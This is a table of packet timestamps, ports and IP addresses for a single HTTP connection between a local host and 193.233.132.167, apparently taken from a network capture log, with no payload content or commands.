Apr 13, 2024 20:21:26.936492920 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936531067 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936543941 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936562061 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936578035 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936593056 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936594963 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936610937 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936625957 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936628103 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:26.936681032 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:26.936681032 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281066895 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281095982 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281112909 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281128883 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281146049 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281162024 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281178951 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281196117 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281213045 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281229973 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281245947 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281263113 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281272888 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281280041 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281272888 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281272888 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281272888 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281274080 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281274080 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281274080 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281296015 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281312943 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281371117 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281388044 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281387091 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281387091 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281387091 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281387091 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281387091 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281404972 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281420946 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281431913 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281433105 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281440020 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281451941 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281457901 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281474113 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281477928 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281477928 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281491041 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281497002 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281516075 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281517029 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281532049 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281536102 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281549931 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281563044 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281563044 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281574965 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281591892 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281613111 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281620979 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281620979 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281630039 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281640053 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281647921 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281657934 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281665087 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281675100 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281682014 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281692028 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281698942 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281716108 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281716108 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281716108 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281733036 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281749964 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281765938 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281770945 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281770945 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281770945 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281781912 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281799078 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.281800032 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281800032 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281817913 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.281835079 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.626748085 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.626815081 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.626857042 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.626894951 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.626935959 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.626974106 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.626991034 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.626991034 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.626991034 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.626991034 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.626991987 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627013922 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627052069 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627070904 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627070904 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627089024 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627096891 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627130985 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627151012 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627168894 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627176046 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627207041 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627244949 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627252102 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627252102 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627281904 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627286911 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627321959 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627358913 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627396107 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627434969 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627474070 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627511024 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627548933 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627568007 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627568007 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627568007 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627568007 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627568007 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627568960 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627568960 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627584934 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627623081 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627661943 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627696991 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627696991 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627697945 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627703905 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627722979 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627743006 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627780914 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627784967 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627784967 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627820969 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627831936 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627859116 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627866030 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627896070 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627924919 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627934933 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627947092 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.627971888 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.627986908 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628009081 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628016949 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628045082 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628061056 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628083944 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628103018 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628125906 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628165007 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628173113 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628173113 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628202915 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628235102 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628258944 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628268957 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628305912 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628318071 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628345966 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628360033 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628386021 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628400087 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628422022 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628448009 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628458023 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628464937 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628495932 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628506899 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628534079 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628545046 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628571987 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628591061 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628609896 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628623962 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628647089 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628664970 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628685951 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628703117 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628724098 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628743887 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628762960 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628772974 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628802061 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628814936 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628839016 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628856897 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628876925 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628895998 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628914118 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628923893 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628952026 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628962040 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.628990889 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.628998995 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629029036 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629048109 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629065990 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629066944 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629103899 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629122019 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629141092 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629160881 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629179001 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629200935 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629216909 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629223108 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629254103 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629266977 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629291058 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629304886 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629328966 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629339933 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629367113 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629378080 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629405022 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629414082 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629442930 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629456043 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629483938 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629496098 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629523039 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629534960 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629561901 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629571915 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629601002 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629616022 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629641056 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629656076 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629679918 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629690886 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629718065 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629731894 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629755974 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629772902 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629795074 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629811049 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629833937 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.629847050 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.629935980 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974436998 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974493980 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974530935 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974526882 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974570990 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974591017 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974591017 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974608898 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974615097 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974647045 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974661112 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974687099 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974701881 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974724054 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974750042 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974761009 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974781036 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974797964 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974817991 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974834919 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974858046 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974870920 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974883080 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974908113 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974915028 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974944115 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974958897 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.974982023 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.974992037 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975018024 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975039959 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975054026 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975064039 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975090981 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975143909 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975148916 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975181103 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975208044 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975218058 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975246906 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975254059 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975266933 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975291014 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975310087 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975328922 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975332022 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975364923 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975378990 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975402117 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975434065 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975438118 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975454092 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975476027 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975488901 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975513935 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975533009 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975553989 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975572109 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975590944 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975605965 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975630045 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975646973 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975667953 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975706100 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.975722075 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.975784063 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.976326942 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.976366043 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.976381063 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.976402998 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.976413965 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.976439953 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.976457119 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.976485968 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.976835012 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.976872921 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.976898909 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.976910114 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.976923943 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.976947069 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.976965904 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.976983070 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.976994991 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977020025 CEST	80	49752	193.233.132.167	192.168.2.4
